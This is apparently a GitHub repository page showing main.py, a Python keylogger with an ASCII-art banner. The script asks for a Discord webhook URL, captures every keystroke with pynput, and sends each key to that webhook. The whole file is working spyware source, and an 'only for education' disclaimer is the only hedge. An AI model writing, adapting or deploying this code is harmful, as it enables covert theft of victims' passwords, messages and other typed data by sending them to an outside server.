-
Notifications
You must be signed in to change notification settings - Fork 5
/
main.py
69 lines (45 loc) · 3.93 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# ---------- Keylogger with Discord webhook ----------
#
# ----------------------- IMPORTANT -----------------------
# ---------- This programm is only for eduction! ----------
# ---------- Im not responsible for any damage! ----------
# ---------------------------------------------------------
# ---------- Import of all important modules for the project ----------
from pynput.keyboard import Key, Listener
from dhooks import Webhook
import logging
import colorama
from colorama import Fore, Back, Style
from colorama import init
from termcolor import colored
colorama.init(autoreset=True)
# ---------- Title of the project // Bar to beautify the UI ----------
print(f"""{Fore.BLUE}
██╗░░██╗███████╗██╗░░░██╗██╗░░░░░░█████╗░░██████╗░░██████╗░███████╗██████╗░
██║░██╔╝██╔════╝╚██╗░██╔╝██║░░░░░██╔══██╗██╔════╝░██╔════╝░██╔════╝██╔══██╗
█████═╝░█████╗░░░╚████╔╝░██║░░░░░██║░░██║██║░░██╗░██║░░██╗░█████╗░░██████╔╝
██╔═██╗░██╔══╝░░░░╚██╔╝░░██║░░░░░██║░░██║██║░░╚██╗██║░░╚██╗██╔══╝░░██╔══██╗
██║░╚██╗███████╗░░░██║░░░███████╗╚█████╔╝╚██████╔╝╚██████╔╝███████╗██║░░██║ █░█░█ █ ▀█▀ █░█ █▀▄ █ █▀ █▀▀ █▀█ █▀█ █▀▄ █░█░█ █▀▀ █▄▄ █░█ █▀█ █▀█ █▄▀
╚═╝░░╚═╝╚══════╝░░░╚═╝░░░╚══════╝░╚════╝░░╚═════╝░░╚═════╝░╚══════╝╚═╝░░╚═╝ ▀▄▀▄▀ █ ░█░ █▀█ █▄▀ █ ▄█ █▄▄ █▄█ █▀▄ █▄▀ ▀▄▀▄▀ ██▄ █▄█ █▀█ █▄█ █▄█ █░█
{Fore.GREEN}▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼
""")
# ---------- Input command so that you can enter the webhook URL // coloured ----------
hook = print(Fore.GREEN + "Enter webhook URL: ", end='')
Webhook1 = input()
# ---------- Spacers for a better overview ----------
print(" ")
# ---------- Note that the program runs successfully ----------
print(f"{Fore.GREEN}Keylogger started all input will be sent to your Discord webhook.")
# ---------- Spacers for a better overview ----------
print(" ")
# ---------- Bar to beautify the UI ----------
print(f"{Fore.GREEN}▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼▲▼")
# ---------- Redefining the variable ----------
log_send = Webhook(Webhook1)
# ---------- The main part in which the pressed key is recorded and sent to the webhook ---------
def on_press(key):
logging.info(str(key))
print(key)
log_send.send(str(key))
with Listener(on_press=on_press) as listener:
listener.join()